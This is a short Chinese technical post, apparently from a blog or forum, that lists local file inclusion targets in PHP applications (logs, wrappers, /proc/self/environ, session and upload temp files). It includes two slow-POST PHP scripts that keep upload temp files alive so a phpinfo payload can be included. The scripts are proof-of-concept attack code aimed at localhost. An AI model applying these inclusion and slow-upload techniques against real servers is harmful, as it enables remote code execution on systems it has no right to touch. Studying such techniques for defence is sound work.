这篇文章总结得很全了,很有用:
1. 包含上传好的文件,jpg、txt、rar等允许的文件。
2. 包含各种日志。
3. 使用php wrapper,例如php://input、php://filter、data://等。
4. 包含 /proc/self/environ ,不熟悉linux,这个就靠大家了。
5. 包含SESSION文件,php保存格式 sess_SESSIONID 默认位置是/tmp/和c:/windows/temp/ 。
6. 包含由php程序生成的文件,缓存、模版等。
7. 包含tmp文件,格式举例:/tmp/phpUs7MxA 和 c:/windows/temp/php3e.tmp。
(win下易暴力猜解,win下最长4个随机字符,linux下6个随机字符,charset is ‘a’-’z’, ‘A’-’Z’, ’0′-’9′)
关于最后一种比较麻烦,也够鸡肋。大家不要想当然,认为tmp和move_uploaded_file()有关,其实没有move_uploaded_file()函数时,php会自动、马上清除tmp文件,而让它保留在服务器的方法是 慢连接 。
——————————————————————————————————————————————————————————————————————————–
测试包含temp文件所用两脚本,这个方法唯一好处就是向任意php文件发包,php总会先在服务器上生成tmp文件,然后慢连接使它不被删除 (前提是php.ini file_uploads = On,5.3.1中增加了max_file_uploads,默认最大一次上传20个):
<? /* 这个所用时间较少 , 会产生20个临时文件 */ set_time_limit(0);
$cmd = ‘Content-Disposition: form-data; name=”evil”; filename=”evil.php” Content-Type: zzz
<?phpinfo()?> –k4shifz_boundary ‘; $fs=fsockopen(‘localhost’,80);
/* you can also use HTTP/1.1 */ fputs($fs,’POST /test.php HTTP/1.0 Content-Type: multipart/form-data; boundary=k4shifz_boundary Host: localhost Content-Length: 999999
–k4shifz_boundary ‘.$cmd); while($fs) { fputs($fs,$cmd); sleep(1); } fclose($fs); exit; ?>
<? /* 所用时间较长,会产生1个临时文件 */ set_time_limit(0); $fs=fsockopen(‘localhost’,80); fputs($fs,’POST /test.php HTTP/1.0 Content-Type: multipart/form-data; boundary=k4shifz_boundary Host: localhost Content-Length: 999999
–k4shifz_boundary Content-Disposition: form-data; name=”evil”; filename=”evil.php” Content-Type: zzz
<?phpinfo()?> –k4shifz_boundary– ‘);
while($fs) { fputs($fs,’AAAA’); sleep(1); }
fclose($fs); exit; ?>
|